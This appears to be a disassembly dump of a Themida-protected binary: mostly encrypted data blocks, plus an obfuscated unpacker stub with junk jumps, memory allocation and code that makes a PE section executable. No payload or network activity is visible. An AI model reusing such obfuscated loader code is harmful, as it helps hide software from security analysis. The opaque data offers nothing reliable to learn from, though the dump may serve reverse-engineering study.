8E7589A4h, 0B480725Bh, 7A713937h, 0BAB118D2h, 2458CB56h dd 0CEB13254h, 57B13FBEh, 1EB7B556h, 46D1C8F8h, 2B001715h dd 0FED7ACE5h, 38BE6A90h, 5DB13250h, 0AEB1B559h, 0DCD03256h dd 0A449CE13h, 0D5B130D5h, 0D3D05256h, 34333D51h, 53B13254h dd 5DB13251h, 8D73E6F0h, 0A87DB82Fh, 2EBECE13h, 0D5B13257h dd 0EECEB1A3h, 35353D56h, 46B13256h, 5DBD4DD5h, 0AE84B659h dd 58583256h, 0A2B13256h, 24BF7ED9h, 42E2CC8Bh, 84739028h dd 53494C9Fh, 5DB132D4h, 0BA313DA3h, 58B13256h, 0ABB13CDDh dd 0D5B8DB56h, 58F93256h, 0B1B180E3h, 2902B58h, 0A24ECDA9h dd 0AEBBDB36h, 5B0F3256h, 11778E32h, 0EB2FE9A6h, 0EAB121BFh dd 87113056h, 331276B3h, 0A74E68C6h, 0ECC01D71h, 0F4E09846h dd 0ABB48B37h, 56BE3256h, 0EAB13243h, 75B122BFh, 15334B56h dd 91E9AA85h, 0A97B5765h, 98FD4CFCh, 0CB1AC158h, 2DFC8B30h dd 2C0E3D36h, 75B1B659h, 0DBD03256h, 0A24F48BFh, 0D132C7A9h dd 0D3BE3746h, 0ABB13232h, 0D5B0BF59h, 69483256h, 7AB72229h dd 0BAB194D3h, 0DCD75256h, 255A0AB9h, 0ABF05386h, 0A4B575DDh dd 0D5B13ADCh, 0E83A3D56h, 15B13256h, 0B6EEB937h, 5DA7B859h dd 0BF583256h, 0DFB13256h, 37CB2904h, 868220DEh, 5639C4D9h dd 0F053B05Ch, 0BAB1F3BFh, 503F3D56h, 0CEB13256h, 0DC0BE0D7h dd 2AD77E6Dh, 0B4A96180h, 8AB575DDh, 75A2DB36h, 28D23256h dd 5C2596EDh, 7F86790h, 96A246A4h, 0A283F0EBh, 0B3D0C721h dd 69C7FDD7h, 79EEB937h, 0BAB13ABFh, 0C1A71056h, 2BFF61D2h dd 57D5DB25h, 0BF583256h, 69B13256h, 893A06D5h, 209EF97Fh dd 880BCABEh, 97D58047h, 25C9B136h, 0DABE3611h, 0ABB13257h dd 0D9EEB9AEh, 6F085436h, 147EB968h, 46B56D7Dh, 3DB4D9D5h dd 0AEB135BEh, 8D991356h, 8BBAC080h, 0CF50B330h, 13D06816h dd 76A14DD5h, 0BAA1B759h, 1C493256h, 0AD323D36h, 58B13256h dd 7831C2E1h, 0C9A53D4h, 0EAB13BBFh, 161E6056h, 0DD58AF3Bh dd 1384D2Bh, 22BE3357h dd 57B1324Ah, 0ABA2DB36h, 449C3256h, 221C2793h, 951B7BE2h dd 0CE364424h, 0CE29D680h, 0CFD052EDh, 0A84ECDEEh, 0ABA2DBA9h dd 0AC7F3256h, 0BF396799h, 772AAE0Dh, 0FF7206EDh, 8DAFA11Bh dd 0AEB48BF6h, 31D13256h, 0CA9F4EEDh, 3C4499A5h, 154ECF51h dd 75B0BB59h, 4F483256h, 5DBFDB37h, 0EEC53256h, 0B3842C08h dd 418969A7h, 203F38F6h, 0E5598636h, 0BCD0C5E1h, 0BABFB759h dd 0DCD13256h, 0C4CD2B9h, 5E78B308h, 0CAFBC17Dh, 3CB13A94h dd 0EAB1325Eh, 0DB68CA8Bh, 0BA0CAD00h, 5F383D36h, 24B13256h dd 70086595h, 0F5C6A5FCh, 51BE6737h, 0EAB1325Eh, 75B3B059h dd 0DBD13256h, 5DB13ABFh, 97923056h, 5C46A4A7h, 5E5DB9A1h dd 0DA4DF6D5h, 0EAB121D4h, 75BFDB56h, 8183256h, 1071453Ah dd 0C2B98DB6h, 0D8CBB673h, 0AA393D36h, 2CB13256h, 1FB977DDh dd 7ABD776Dh, 0BAB16ED4h, 0B5315256h, 11BE5240h, 6CD053A0h dd 2CBE2213h, 0D5B1321Fh, 0EAA2DA36h, 8D233256h, 0B96378B2h dd 0B9B2EEBh, 4DCD6565h, 4552D08h, 0ABBDDB78h, 0C5E33256h dd 3609C8Ch, 99A68915h, 30EB1722h, 18765386h, 0AEB132AAh dd 0E9D75256h, 693A0E3Dh, 0D587DB37h, 8CD13256h, 893483EDh dd 46F4F537h, 5DB13257h, 0AEB9B859h, 0D7BE3256h, 0ABB13254h dd 0C0585336h, 0E5B13256h, 75B13DD5h, 0BABBDB56h, 0E7863256h dd 5155B981h, 288A6852h, 5C315237h, 0D5B6DBC4h, 79823256h dd 1BB05EF2h, 0FF3A53E1h, 57393DAAh, 0CEB13256h, 0D0BEDADCh dd 0ABB13256h, 1749FB37h, 3D1325Ah, 75B13245h, 35185E2h dd 39A1EE67h, 1297BA66h, 8E7600DEh, 0CD856055h, 0B486F8E8h dd 0EAA3DB36h, 0E3E63256h, 197EA59Bh, 58524BBCh, 36E3AD13h dd 5846697h, 0C4BE23E9h, 0B5E4537Dh, 0E5548930h, 75B138BEh dd 2D27E356h, 80B5F38h, 0A14DD403h, 36EAF3E1h, 0A158DEDDh dd 0DB13256h, 47E28B84h, 0BBE236B0h, 4675B122h, 5DB120BFh dd 0F656956h, 0F4116B92h, 3DE1DF13h, 39A74096h, 8A171F33h dd 75B1DAAFh, 3BEB3256h, 450F1EBCh, 25D75250h, 3642B98Eh dd 0CB7801AFh, 3D69F7D6h, 0EAB13247h, 31FC6E50h, 0A1CB0A9Dh dd 0C202C294h, 25334F66h, 0AD3A54B7h, 24BE530Eh, 0D5B13242h dd 0EAB13DBFh, 0A7CF6A56h, 69C50079h, 0C54B44D9h, 4FA53C8Fh dd 4658E965h, 0A4B13256h, 0BB16DE8Eh, 198D522Bh, 3C62BCD6h dd 74F66D59h, 3D4D6FDFh, 0AEA3BE59h, 5A583256h, 0AEB13256h dd 0EBC23A7Ah, 21E7C035h, 71D9E884h, 0DBE8EED6h, 2AC288DDh dd 2D49344Eh, 0D3BE3269h, 0ABB130F8h, 0D3373D36h, 0E5B13256h dd 75B132D8h, 0BA363D56h, 3CB13256h, 0A14E0DD5h, 57B178D3h dd 0BD3D3D56h, 3CB13256h, 0EAB13247h, 5876B47Dh, 86814AD6h dd 683DE175h, 73E8B94Ch, 4376B140h, 0ABB135BFh, 36277756h dd 0AAEC106Eh, 8A4E98BFh, 0AE313DA9h, 0B4B13256h, 0AEB13259h dd 0B3CA3375h, 0ED1837F9h, 281A91C8h, 69821C7Bh, 7AB13629h dd 0BAB156D2h, 493C3D56h, 0CEB13256h, 57B13BBEh, 38F2456h dd 0F773FFF5h, 8CE9DDD9h, 0F6D0C9DDh, 0B5B13E29h, 5DB172D2h dd 6F305256h, 0A5F698Eh, 0ABB13CBFh, 0E21C3856h, 8221B5C4h dd 0E48BCDCCh, 0DB86E362h, 5DB153BFh, 0AF353D56h, 0ABB13256h dd 0ABB126BFh, 3BE79D56h, 9D8B6FBAh, 6F6C4778h, 0B05C35F5h dd 8CE2CFFFh, 52F4CD82h, 57B123BFh, 4BA58D56h, 6B03416Ah dd 2E164035h, 3501D41h, 0DCD1EE62h, 79E2E8D7h, 0BA76B137h dd 57BDDB36h, 0E6333256h, 3481414Ch, 0A53277E7h, 0CED70BD7h dd 42D020E8h, 0A24FD0BFh, 0D132CEA9h, 0D3BE3746h, 0ABB13227h dd 0C5CEB1AAh, 61343D50h, 9CB13256h, 0BAB13247h, 51F3E7E8h dd 89F42F9Eh, 0E3F93436h, 0F35D499Fh, 0D8587366h, 3CB13256h dd 968C8096h, 5A76513Fh, 350299FFh, 0AEB126BFh, 58518F56h dd 0EE6803DAh, 0EB36E26Dh, 0E3A33C79h, 0B5BD6841h, 0BEF6B91Eh dd 5DA0B059h, 0A2583256h, 8B13256h, 0B98DC3E9h, 6050A9h dd 6100F99Dh, 9C443E09h, 0BAB13284h, 59F6B9A3h, 857FB336h dd 36C5AFBEh, 53BD6DDDh, 0D5B1A7BFh, 0EABADB56h, 3A6D3256h dd 5C2993B6h, 3AD72E8Fh, 0E93ACEC6h, 57BADB52h, 85513256h dd 0B1FA4D9Eh, 0E0B9DF9Bh, 79EEB930h, 0BAB0B959h, 76443256h dd 0BA583609h, 88B13256h, 0BBE86623h, 1770CC8Dh, 0DBA1FD58h dd 0E68BC343h, 39C6350Bh, 0DE4937BDh, 0A1B22229h, 57B10FD3h dd 0A0585256h, 0F2B13256h, 0DC59817Dh, 0EFBEECE3h, 4C30AD3Ah dd 446D83EBh, 0A23C3D37h, 58B13256h, 0ABB134D6h, 0D5313D56h dd 0ABB13256h, 598A36h, 3D70D61h, 52D08F58h, 0AEB133D4h dd 8E9AC756h, 0ABB122BFh, 307B0156h, 6DB810BAh, 3CCEE407h dd 0E1ECCDA5h, 5DBDDB52h, 0AC463256h, 5B82F729h, 610B529Dh dd 893809B0h, 0F9583357h, 7AB13256h, 0A155557Ch, 0D72312D2h dd 207FFF01h, 971C6FA7h, 540970B5h, 0B54ECDA9h, 0EAB1BC59h dd 0F4D73256h, 0DBB1EDA0h, 5DB137EFh, 542CB56h, 2168B336h dd 0A4D9F33Bh, 3CD0C3E1h, 154ECF19h, 0C2B18336h, 43D053ACh dd 5DB138BFh, 1DDBF056h, 4093482Fh, 20F4F65Bh, 5BBECE13h dd 0EAB13267h, 75A5DB36h, 33323256h, 0D6D35BE6h, 546D2157h dd 6201D730h, 61EEEEB0h, 0C458B63Fh, 48B13256h, 0F15C03CEh dd 5828C54h, 0B58EEC33h, 5E370854h, 4358FB37h, 0B4B13256h dd 4E33DF19h, 546D45AEh, 0E226AB3h, 0B95AB8E8h, 9EDA6EF2h dd 0AEBCB959h, 0E8D13256h, 9F103C48h, 0D5B1B059h, 0BAD03256h dd 75B120BFh, 90D39C56h, 0A50985AAh, 1835A33Ch, 0F3BB242Eh dd 0FA248253h, 0D5B4DBA3h, 0D93256h, 268BCB26h, 0BAB1DAAAh dd 0DCEB3256h, 0B67322BCh, 5D3F3D50h, 42B13256h, 0D5B13253h dd 187D5B14h, 0EF3CC72Fh, 0BCA94A1Fh, 5DB6B959h, 0A1D13256h dd 0AE3AC3E1h, 0AA313D37h, 20B13256h, 0EAB156EEh, 0FABE5256h dd 0BAB13255h, 0D772B930h, 0F05953BDh, 58B13250h, 0ABB135D8h dd 0D4323D56h, 12B13256h, 675839DDh, 0FFB13256h, 14A90E81h dd 0B21F8DC0h, 3053B61Bh, 383C0FFAh, 0DC585208h, 0B3B13256h dd 21FF12A6h, 657E11CEh, 0A5700937h, 0AEB19CBFh, 5E58C756h dd 4CB13256h, 6F02229h, 88F7379Ch, 89B57955h, 38BEF36Dh dd 5DB13299h, 0AEA9B959h, 44583256h, 4EB13256h, 0C2D577DEh dd 81851199h, 2E074B21h, 5D669471h, 16B2D1AEh, 0AEBCDB46h dd 4623256h, 844CBF79h, 10D633C1h, 0D1B6B43Dh, 55333D97h dd 0B5B13256h, 5DB131D4h, 0CF445256h, 57A6DBAAh, 2CBE3256h dd 0D5B1325Dh, 9657B236h, 33C7F8D7h, 53D0002Bh, 5DB132FEh dd 0AE13DBAFh, 0D4BE3256h, 0ABB1325Ch, 0B3A5436h, 8205CDE8h dd 0FEBE533Dh, 0BAB13241h, 5DB120BFh, 0DC457056h, 2F18AD74h dd 533AA9C5h, 522A0D91h, 67AA1255h, 6CE4FBCCh, 0B0323D50h dd 0B4B13256h, 0AEB13253h, 44D92D64h, 5262CD23h, 0D5B165BFh dd 0E0393D56h, 15B13256h, 38BE49E0h, 5DB13256h, 0AEB8DB37h dd 134E3256h, 9FE832ABh, 584FBBCFh, 0F3E9DDCCh, 75BFDB50h dd 18473256h, 1EDD4C9Ch, 0FB70495Ah, 836D277Ch, 42D1E1A9h dd 0D5B1325Bh, 60DA1B95h, 9560D560h, 0DB4F4985h, 5DB4DB33h dd 0E9693256h, 360EBF47h, 42E8CE0Dh, 0D5B13245h, 8E67C690h dd 2C88C9F8h, 0CF53E055h, 0A792E7AFh, 0F6F828D5h, 0A73A5436h dd 4272CA37h, 0D5B1325Ah, 5827C0F5h, 4CE8EDF5h, 3320DB49h dd 0B13ACE03h, 0AEB1DAAFh dd 0D6EB3256h, 0B372CABCh, 0B5E05250h, 8AD06A37h, 75B135BEh dd 0DAD64456h, 0CB6E510h, 0AEB120BFh, 0A3923D56h, 457B000Bh dd 0E42CB78Eh, 0D00FAEh, 2B87D9F9h, 0BAB137BFh, 63750256h dd 47D0CB98h, 57B13242h, 0A1D73BD5h, 0BEC36DC2h, 485D5713h dd 8196FB8Eh, 72CE7D17h, 5DA9BE59h, 22BE3256h, 57B13244h dd 0ABB13FBFh, 79E1B156h, 307486A2h, 0A6C6C717h, 0B5D16FF6h dd 5DB13ED2h, 0A83B3D56h, 58B13256h, 0ABB132D3h, 9C0BBF56h dd 0E5B72A2Eh, 75B133D5h, 0FF3AC756h, 5A38C75Eh, 0AEAABA59h dd 0BED13256h, 0ABB13244h, 0D2584F57h, 49F2A3D5h, 27AB50E8h dd 6DC27DD3h, 803B711Ch, 0A2F4B937h, 584FB936h, 0ABB132DCh dd 92385356h, 0E4373D52h, 9CB13256h, 0BAB1325Fh, 2B9E6428h dd 67E5970Ch, 47F4B90Dh, 0ABB135BFh, 5B15D756h, 4F048539h dd 15BD75DFh, 3ABEEBDCh, 5DB13254h, 25D06C01h, 0DE442613h dd 27BE2211h, 0D5B13251h, 0EAB0B459h, 9C493256h, 0BAB1325Ah dd 3E0D9DF3h, 0F46FF4BEh, 0E01B74ABh, 73315237h, 63A547Dh dd 2849FB37h, 7AD13246h, 0BAB130D5h, 3BD05256h, 0CF7840EEh dd 0EDD75236h, 0A5587F2Dh, 0C5B13256h, 2F7743BDh, 0F1E2A8D2h dd 0C9D3334Eh, 0D87753CEh, 0A8A31A27h, 4DD9CB11h, 0CB192525h dd 0B3D161E4h, 825CFBD7h, 14D0C1DDh, 0BAB13DBFh, 0C36AC256h dd 0B465268h, 3E1AFD79h, 7BDBD38Dh, 0E55887A9h, 0E2583444h dd 33B13256h, 43FF726h, 0B4ACF2F1h, 0AEB1325Ah, 759E7020h dd 6D7EA6ECh, 299E8ECDh, 9584B7DBh, 7B583443h, 80B13256h dd 0A15FEEDh, 0F5811FE1h, 44E957BFh, 5361CD73h, 0B3D160AFh dd 2618BE8h, 75B13246h, 216FDBD4h, 1BA78E42h, 0A4B59D6Bh dd 0D32FB30Ch, 0CAE95336h, 0ACC2B8DBh, 64BE344Eh, 75B13257h dd 0A95952AEh, 5DB13256h, 84679C6h, 0ACCCF971h, 0FB594F70h dd 93AA0C8Dh, 5DBE69FEh, 15D16C8Eh, 0FD7FB337h, 3CD91FE7h dd 47D16337h, 57B13251h, 4883BEACh, 3C047022h, 0EAB13258h dd 2C782098h, 33E83DA5h, 47143AE8h, 51D0B90Dh, 0D9BE5286h dd 0ABB13241h, 0D5B120BFh, 98813C56h, 65E5B470h, 0CB79F2DAh dd 5F391ED3h, 0C82393CCh, 0FEF0C1D7h, 0ABBBDB37h, 0E7763256h dd 83FCD98Ah, 0AD180D73h, 31D7520Ch, 1640B381h, 0CF9E37C3h dd 2EC2B0DBh, 25BE344Eh, 0D5B13243h, 0EAB122BFh, 5C2DE356h dd 797B6B68h, 56DFDFD5h, 5ACE59CAh, 17063D4Fh, 0ABA3DB5Ah dd 92703256h, 1890EE26h, 38D47E2Ah, 37E678E5h, 0CDD0D1E3h dd 0AEA2DB36h, 4A1F3256h, 0F2CAF60Dh, 458B2EBBh, 19113B33h dd 0E72BAF72h, 0BAB4DB3Ah, 125D3256h, 0CF5B6626h, 5C58EADDh dd 0F7B13256h, 57171AABh, 6D708F30h, 15E3718Fh, 0BAB3BA59h dd 933A3256h, 0A1D033E5h, 29085267h, 11FDBC39h, 0BA4863EBh dd 8BD16837h, 0FC4DF155h, 0A8BDBBD4h, 503D3D50h, 47B13256h dd 57B1325Eh, 9FA778A6h, 0F734756Ah, 0EAB123BFh, 5B708056h dd 0A0B6C889h, 5A2E9293h, 57F4957Fh, 0A2D0D6D3h, 0ABA0DB95h dd 0DADA3256h, 0A4E53637h, 0C3749A16h, 0FD22D609h, 51763B34h dd 6052F9F8h, 595E5752h, 14E9h, 25D4400h, 5169B1DDh, 0D2AA53E0h dd 0A095BFA3h, 6E177D8Fh, 8C0F61EDh, 1, 0E8FCh, 815A0000h dd 18C780EAh, 8B606006h, 616160C1h, 46C88166h, 0EE9613Fh dd 21000000h, 65310065h, 12047710h, 54D8E7F7h, 9E95232h dd 4D000000h, 57A56F8Ch, 4FFEA14Eh, 0C89828Bh, 66600612h dd 24B1F681h, 4E6DB961h, 0F7F541C6h, 15860FE1h, 0E9000000h dd 10h, 111CB279h, 0D5F41BF4h, 96CEC5B0h, 6255C966h, 19830F5Ah dd 0E9000000h, 14h, 0C64E223Bh, 4746D054h, 82511B3Fh, 5696D17h dd 4F0898A3h, 303905h, 13E900h, 53850000h, 51A10BF9h, 0EE2B14E8h dd 6530176Fh, 2DD69FE9h, 19880F19h, 0E9000000h, 14h, 9BA7CFDBh dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 35D1C242h, 0FFFFFF25h dd 7E97Fh, 9A8C0000h, 6F0FD98Bh, 898289EEh, 0E906120Ch dd 10h, 0A87B1583h, 13DD84B6h, 53E79898h, 0E1DA6543h, 850F5AF5h dd 11h, 0CE9h, 56365B00h, 21A71537h, 0B001D64Bh, 860F5951h dd 15h, 0F810Fh, 0AE90000h, 85000000h, 222462D8h, 33F04211h dd 0EE9C3C9h, 0FC000000h, 23CD6A9Ch, 58FEC032h, 0A4DF1882h dd 66605138h, 0EE8CF8Bh, 50000000h, 6FA035F2h, 9C3BC1E9h dd 0A76E317Bh, 0CEBF0F30h, 0F52615Fh, 18Ah, 0E8F500h, 5A000000h dd 0C8E1EA81h, 8B600618h, 61F38BCAh, 1890FFCh, 0FC000000h dd 0BE9C88Bh, 9A000000h, 0D02FE09Dh, 5B2FB1EBh, 44E84CCEh dd 0F5FFFFFEh, 118D0Fh, 830F0000h, 0Bh, 6E9h, 4C8BFF00h dd 33942A4Ah, 0F1F7F5D2h, 12E960h, 39E30000h, 27665C31h dd 6F2A470Bh, 44508B53h, 0CF308ACh, 0E890Fh, 8E80000h dd 9B000000h, 0FA7AE1CBh, 59218F94h, 0E9C28B61h, 6, 113154EDh dd 605A6637h, 0B9D6B70Fh, 18E2B6C9h, 0C3F95961h, 18E0Fh dd 8BF50000h, 0C08BFCC0h, 0AE9h, 0FE752900h, 961F40BBh dd 8DFBD4C5h, 188EAE85h, 11E906h, 81990000h, 838F8623h dd 0E79257D9h, 23FE2D4Dh, 0E9259B15h, 0Dh, 91A609C3h, 5F79BE08h dd 0F27AA981h, 0F5D0FF27h, 60C18B66h, 0EEEBB851h, 0BA586647h dd 44015076h, 12E961h, 44740000h, 9C7216D0h, 0B8538E00h dd 58785864h, 2ED1ED2Ch, 0C751858Dh, 0E8600618h, 0Eh, 25150DEEh dd 7A3C1953h, 0FD489517h, 0E95B30FCh, 10h, 1CC24FEEh, 82FC2741h dd 0C7E73C54h, 0E3FC9674h, 0C1858961h, 0F06120Dh, 18Eh dd 8E9F800h, 0DB000000h, 5BD74A33h, 8DF1A996h, 18C8B785h dd 6660F506h, 0FCF6F681h, 613FF480h, 9B98589h, 0F8600612h dd 5E9h, 99345900h, 0B861FE89h, 0 ; --------------------------------------------------------------------------- pusha jmp loc_5B3480 ; --------------------------------------------------------------------------- dw 1CB9h ; --------------------------------------------------------------------------- inc esi jmp short loc_5B349A ; --------------------------------------------------------------------------- db 0ABh dd 6E532419h ; --------------------------------------------------------------------------- loc_5B3480: ; CODE XREF: Themida_:005B3471j popa jge loc_5B349C jmp loc_5B349C ; --------------------------------------------------------------------------- mov eax, ds:5E748FA1h push 0FFFFFFC7h shr dword ptr [ecx-7Fh], 93h xchg eax, edx retf ; --------------------------------------------------------------------------- db 0BEh ; --------------------------------------------------------------------------- loc_5B349A: ; CODE XREF: Themida_:005B3479j pop edx ; --------------------------------------------------------------------------- db 0DDh ; --------------------------------------------------------------------------- loc_5B349C: ; CODE XREF: Themida_:005B3481j ; Themida_:005B3487j or eax, eax jz loc_5B35D8 clc mov byte ptr [ebp+6122871h], 56h jns loc_5B34C3 jmp loc_5B34C3 ; --------------------------------------------------------------------------- db 46h dd 2CDC8D5Ch, 0C83AA411h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 9Ch, 2Bh ; --------------------------------------------------------------------------- loc_5B34C3: ; CODE XREF: Themida_:005B34ACj ; Themida_:005B34B2j push 0A9C530DFh jno loc_5B34E6 jmp loc_5B34E6 ; --------------------------------------------------------------------------- db 16h dd 0EA7E2040h, 4EB48736h, 2EEBE760h, 81C67561h db 52h, 9Ah ; --------------------------------------------------------------------------- loc_5B34E6: ; CODE XREF: Themida_:005B34C8j ; Themida_:005B34CEj push dword ptr [ebp+61230E9h] jg loc_5B3507 pusha stc call sub_5B3505 bound ecx, [ecx] mov dword ptr [esi-37DB7FD7h], 0F5BA0D85h ; =============== S U B R O U T I N E ======================================= sub_5B3505 proc near ; CODE XREF: Themida_:005B34F4p var_2E = dword ptr -2Eh var_28 = dword ptr -28h ; FUNCTION CHUNK AT 0055B50E SIZE 00000061 BYTES ; FUNCTION CHUNK AT 0055BC03 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055DDB6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00560F2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056376A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564F15 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B5BC SIZE 00000007 BYTES pop eax popa loc_5B3507: ; CODE XREF: Themida_:005B34ECj lea eax, [ebp+6157F35h] jmp loc_5B3518 ; --------------------------------------------------------------------------- dw 0AC94h dd 0EC1ABC78h ; --------------------------------------------------------------------------- loc_5B3518: ; CODE XREF: sub_5B3505+8j call eax jb loc_5B3526 pusha cld mov cx, dx popa loc_5B3526: ; CODE XREF: sub_5B3505+15j push eax pusha popa lea ecx, [ebp+6120A11h] jnz loc_5B3536 cld loc_5B3536: ; CODE XREF: sub_5B3505+2Aj push ecx jns loc_5B3544 pusha add bl, 8Ah push eax pop ecx popa loc_5B3544: ; CODE XREF: sub_5B3505+32j push 4 jmp loc_5B3555 ; --------------------------------------------------------------------------- db 0B3h dd 94F932D2h, 0A780A2C4h db 22h ; --------------------------------------------------------------------------- loc_5B3555: ; CODE XREF: sub_5B3505+41j push 1000h pusha push edi mov edx, edi pop eax jz loc_5B3566 cmc loc_5B3566: ; CODE XREF: sub_5B3505+5Aj popa push dword ptr [ebp+6120895h] clc jmp loc_5B3581 ; --------------------------------------------------------------------------- db 9Ch dd 0F25B83F1h, 550DAEDEh, 41FD374Eh db 36h ; --------------------------------------------------------------------------- loc_5B3581: ; CODE XREF: sub_5B3505+69j call eax jg loc_5B358F pusha mov edx, ecx mov ebx, eax popa loc_5B358F: ; CODE XREF: sub_5B3505+7Ej mov edi, [ebp+6120895h] cmc add edi, [edi+3Ch] jmp loc_5B35AB ; --------------------------------------------------------------------------- dw 0C7B3h dd 60A8B530h, 0EA63B6B1h db 0B9h, 0FBh, 22h ; --------------------------------------------------------------------------- loc_5B35AB: ; CODE XREF: sub_5B3505+94j add edi, 0F8h jmp loc_5B35C7 ; --------------------------------------------------------------------------- dw 0AEE5h dd 0BEAFF76Ah, 48683ED6h, 428156h db 34h, 76h, 1 ; --------------------------------------------------------------------------- loc_5B35C7: ; CODE XREF: sub_5B3505+ACj mov dword ptr [edi+24h], 60000020h pusha mov ecx, 4A25A192h movzx edi, ax popa loc_5B35D8: ; CODE XREF: Themida_:005B349Ej lea ebx, [ebp+6122AA1h] jmp loc_5B35EE ; --------------------------------------------------------------------------- db 87h dd 0BC40A204h, 3F179482h db 0ABh, 79h ; --------------------------------------------------------------------------- loc_5B35EE: ; CODE XREF: sub_5B3505+D9j mov eax, [ebx] pusha popa or eax, eax jz loc_5B3617 pusha mov ah, 43h sbb si, 9457h popa mov eax, [eax] jbe loc_5B3613 jl loc_5B3613 pusha popa loc_5B3613: ; CODE XREF: sub_5B3505+100j ; sub_5B3505+106j mov [ebx+4], eax clc loc_5B3617: ; CODE XREF: sub_5B3505+EFj mov ecx, 234CF6h jmp loc_5B362D ; --------------------------------------------------------------------------- db 17h, 10h, 83h dd 48h, 0 db 0 ; --------------------------------------------------------------------------- loc_5B362D: ; CODE XREF: sub_5B3505+117j jmp loc_5B40D3 ; --------------------------------------------------------------------------- push 618CDA0h jmp loc_55B50E ; --------------------------------------------------------------------------- push 618CEA1h jmp loc_55B50E ; --------------------------------------------------------------------------- push 618D06Ah jmp loc_55B50E ; --------------------------------------------------------------------------- push 618D15Eh jmp loc_55B50E ; --------------------------------------------------------------------------- push 618D2DFh jmp loc_55B50E ; --------------------------------------------------------------------------- push 618D441h jmp loc_55B50E ; --------------------------------------------------------------------------- push 618D51Bh jmp loc_55B50E ; --------------------------------------------------------------------------- dd 23DBC3DFh, 22DACCD9h, 20D8CED8h, 1CD4CAD6h, 1DD5D1D2h dd 5F44C3ADh, 5A458F47h, 62428C44h, 5F428C44h, 6C67873Fh dd 9965AE56h, 0A825A3B3h, 0EA7A247Dh, 0A55D4160h, 0B0A16091h dd 0A93BE1F7h, 7B2EB581h, 0A5F8A6FBh, 0C5F99EB4h, 0FE5EBB93h dd 947101A5h, 209EA6DDh, 5C2FE4C1h, 25B074CCh, 0B7EA4C6Ch dd 0D8CD57E7h, 0C1833ECEh, 0BF10758h, 3E4C6C25h, 6A66B88Bh dd 2F0255F1h, 0C4436A42h, 5CC1A733h, 0B97BCE81h, 2Eh, 0C386B304h dd 0C10FBCD2h, 9CE4BB93h, 2C099905h, 0C1DB3775h, 255D3F7h dd 0C21AAA5Dh, 4C6C1366h, 55F16A66h, 6A420502h, 0CA72h dd 247DBD00h, 4360EA7Ah, 0FEA8FD45h, 81A948B0h, 774AFDB5h dd 5A445DE7h, 23832169h, 0EBB640D0h, 77E3FBB3h, 8BB581AEh dd 18978816h, 34D06A46h, 0EBBBE9C0h, 520DC518h, 0E9D8399h dd 39D04A7Eh, 0F6285D4h, 57AA7D78h, 44D4CAD7h, 0F00C3F0h dd 6CE590F9h, 5A12C544h, 65563546h, 8C1C821Dh, 556B5CAFh dd 427B18A2h, 48B0C697h, 0FD465908h, 3E86774Ah, 3F894165h dd 0FD844264h, 0EF3ADCEDh, 89A7F57h, 851D0000h, 8E176119h dd 90166018h, 8C145E16h, 93105A12h, 85EB5B13h, 0CD852182h dd 0CA821C83h, 0CA822480h, 0C57D2180h, 6C94AAA5h, 0E1B39964h dd 0C40CE663h, 5936C6E0h, 49D9CDD9h, 0A99196Ch, 79AE49Ch dd 0B382DF97h, 19D2C386h, 0C088429Ah, 586EDE1Eh, 0B581DCB0h dd 0CC1FF2A5h, 93B4CD7Eh, 0D7EDA6BBh, 4C6FF431h, 791E7124h dd 148DD5C6h, 0ACA7378Ah, 0F437DDF3h, 772A4C6Fh, 0F412D624h dd 7E7A4C6Fh, 61EE69E5h, 0CA866A41h, 0D1000000h, 0EA7A247Dh dd 0D3634360h, 81AEDF7Bh, 207E23B5h, 4165AD68h, 0E3BBE565h dd 0A3237653h, 0BC10A0FEh, 0C5DBCC8Fh, 446C51DCh, 1226DE91h dd 722C75E1h, 413205E2h, 7BAFFF2Bh, 0DACB7E42h, 0D0D00B5Bh dd 6340D0D6h, 0DF9B81ACh, 0E0535628h, 4C9F2331h, 495AA25Bh dd 13C3293Fh, 0C3764658h, 308360F0h, 0FBB3F3B0h, 0F6B4F2B1h dd 3ADDF665h, 99E7BF57h, 1E000007h, 18621A84h, 1761198Dh dd 155F178Fh, 115B138Bh, 0EC5C1492h, 84228184h, 811D82CCh dd 81257FC9h, 7C227FC9h, 93A9A4C4h, 0B399676Dh, 7DE562E0h dd 0DC88026h, 843C068Eh, 0D9EF1AABh, 0B581A933h, 20A07326h dd 4CCC1F7Fh, 0D6914955h, 0AACE3057h, 4EA14E43h, 7A247DBBh dd 5D4160EAh, 0A16091A5h, 0C7559AB0h, 6EB6BB93h, 0BDE1BE33h dd 0ED7D502Dh, 6518BD10h, 64564BD5h, 386047D6h, 0EEB8EDF6h dd 2EAE815Eh, 0A35B2E78h, 22384859h, 4C6C75FAh, 59E9BC6Fh dd 2A100401h, 65FEFAC5h, 0FAB2ECB5h, 8870863Fh, 0BDC72610h dd 6A37B70Ah, 9B4CA434h, 0FBC72610h, 138E42D7h, 1889D38Bh dd 7CFBF686h, 0BB4F39D5h, 0F8AD2DF5h, 0EE411EAEh, 267443A0h dd 6BF012C7h, 0A8F7FAA7h, 216B23F6h, 2EA0080h, 25C72674h dd 607331E5h, 7629CE56h, 0B2BF13A3h, 996DECFh, 29440595h dd 425CA3EEh, 0FB30E7BAh, 3C5D8908h, 657B6CBFh, 0C934C54Ch dd 216CE81h, 0B2112F1h, 0D707548Eh, 146CFCAFh, 0D30374D3h dd 0A6A6BBB7h, 0FDACDDB1h, 390C3h, 0C40C0E00h, 7435C5E1h dd 3E2C62A2h, 86D9AC1Ch, 732C5BFCh, 0DF2D792Bh, 0B581AB39h dd 0D8F24A1Ah, 0A64B8BEDh, 2556A0F3h, 476FC948h, 5B3CE9E9h dd 81BAE70Dh, 0D4A75AB5h, 0C188CDE3h, 0FAADBB93h, 97343040h dd 6F9CCF7Dh, 58A5BBACh, 0C1C34CC2h, 6FA5E142h, 388B511Dh dd 70EFE093h, 3173C0F9h, 0BC4C9F35h, 2B9B42C1h, 0DD5B5315h dd 40F7AB95h, 5EB1CB3Fh, 3324E714h, 5B88041Dh, 7B6EEDC9h dd 9CA0552h, 7D30D528h, 415D448Ch, 3C623F89h, 0B3A3E37Eh dd 653DD5A5h, 5D0h, 2BE3BBE7h, 2AE2C4E1h, 28E0C6E0h, 24DCC2DEh dd 